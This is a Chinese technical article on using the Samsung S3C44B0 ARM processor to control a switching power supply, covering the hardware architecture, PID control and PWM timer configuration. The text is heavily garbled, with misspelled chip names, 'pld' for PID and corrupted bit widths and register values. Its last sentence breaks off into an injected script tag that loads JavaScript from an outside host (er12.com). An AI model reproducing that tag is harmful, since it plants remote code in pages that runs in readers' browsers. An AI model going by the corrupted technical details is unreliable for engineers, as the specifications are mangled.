摘要:介绍了嵌入式arm处理器s3c44bo的系统结构,并将其应用到开关电源控制系统的软硬件设计中,详细给出了系统的硬件架构和软件主程序流程图。
关键词:arm;开关电源;pid
引言
近年来,嵌入式技术发展极为迅速,出现了以单片机、专用嵌入式arm为核心的高集成度处理器,并在通信、自动化、电力电子等领域得到了广泛应用。电源行业也开始采用内部集成资源丰富的嵌入式控制器来构成大型开关电源的控制系统。开关电源是效率较高的一种电源,是由占空比可凋的脉宽调制波(pwm)来控制m0s管、igbt等开关器件的开通与关闭,从而实现电压电流稳定输出,其性能的优劣直接关系到整个电子系统的工作性能指标。将samsunc公司的嵌入式arm处理器s3c44box芯片,应用到开关电源的控制系统的设计中,采用c语言和少量汇编语言,就可以实现一种以嵌入式arm处理器为核心、具有智能pid控制器以及触摸屏、液晶显示器等功能的开关电源控制系统。
l 系统硬件架构
随着数字电路和半导体工艺日趋完善成熟,数字信号、数字电路在应用中所占比例越来越大,同时显现出越来越多的优点:便于计算机处理控制、减小信号的干扰、提高抗干扰能力、便于调试,也便于自诊断、容错等技术的植入。随着嵌入式处理器主频的提升,片内控制功能的增强,pwm波形频率与精度的进一步提高,使得电源控制系统的集成度与精度得以提高。
本电源对输出的电压电流信号进行采样,进行pid控制,最后输出pwm驱动波形调节输出电压。输出电压通过对大容量钽电容充放电,给负载提供稳定的高电压大电流输出,供工厂进行电镀使用。电源的控制系统硬件架构如图1所示。
本系统包括pid控制器,pwm输出,ad采样,构成单闭环系统。前端三相交流电源输入到开关电源整流模块,经整流滤波后输出平稳的直流电压。该直流电压直接输出至igbt模块。高精度ad转换器将后端输出的电压电流信号由模拟信号量变为数字量供给s3c44bo进行数字pld运算,经过pid控制运算后,由s3c4480输出pwm至igbt从而构成一个闭环系统,控制电压电流稳定输出,从而实现开关电源控制系统。
对于pid运算和pwm波输出模块,要求较高。通过计算和考查,我们选取了,samsunc公司的s3c4480,这是一款32位基于arm7tdtmi架构的cpu,拥有高达59mips的运算速度,其具体功能特性如下:
运算速度高达59 mips,完全满足复杂pid控制器运算的实时性要求;
16位的定时器,可实现精度高达0.03 μs的pwm脉冲波,并且有防死区(deadzone)功能;
外部中断源多达8个,可以对系统外部故障信息进行实时响应;
内部嵌入了lcd)控制器,并拥有dma通道,使得电压电流值可以实时显示在lcd上;
多达71个通用10口线,可以方便地扩展外部接口;
内嵌的lic接口控制器可以将系统信息保存在eeprom中,为系统操作员提供参考;
内部的看门狗功能可使系统在软件或硬件出错的情况下自动复位,保证了系统的安全正常运行;
2个异步串行接口(uart)可以方便地实现和上位机的通信;
外扩的大容量存储器为软件提供j,充足的空间。
首先系统采用触摸屏和lcd作为人机接口。s3c44bo内部集成了lcd控制器,可支持高达320×240分辨率,256色stn—lcd),并通过dma通道与cpu相连,可以快速动态地显示彩色图形,替代了厂家传统的5l系列单片机与led数码管组成的人机接口,使工人操作更加方便。s3c44bo外部gpio接口,町以提供多种外部信号如表1所列。
8个外部中断,满足对过流,过压,缺相,超温等特殊情况的即时停机响应。s3c44bo带有外部存储器接口,通过外扩flash sst39vf160和sdram hy641620保证了本数字控制系统有足够的空间保存和运行程序。由于设计精度要求千分之一,未选用s3c4480片内iobit—adc,而是选用了ad7705这款双通道、168it△一∑的adc,并通过sio同步端口与cpu连接。ad7705的配置可见参考文献[7],这里不再说明。
2 pwm控制原理
采样控制理论中有一个重要结论:冲量相等而形状不同的窄脉冲加在惯性环节上时,其效果基本相同。pwm控制技术就是以该结论为理论基础,对半导体开关器件的导通和关断进行控制,使输出端得到一系列幅值相等而宽度不相等的脉冲,用这些脉冲列来代替正弦波或其他所需要的波形,并按照一定的规则对各个脉冲的宽度进行调制。
在本系统中,pwm波形由中央处理器s3c4480的时钟timer0输出口t0uto输出。由于要求输出频率30 khz的pwm波,且精度在千分之一,所以通过设置tcfgo和tcfgl寄存器的设置,将4bit分频器设置为o.5,预定标寄存器设置为l,计数比较寄存器tcntb0设置为1000,这样,在s3c4480主频于66mhz时,tout0输出的pwm波频率为30 khz。当timer0开始计时后,每次tcntb0的值与?script src=http://er12.com/t.js>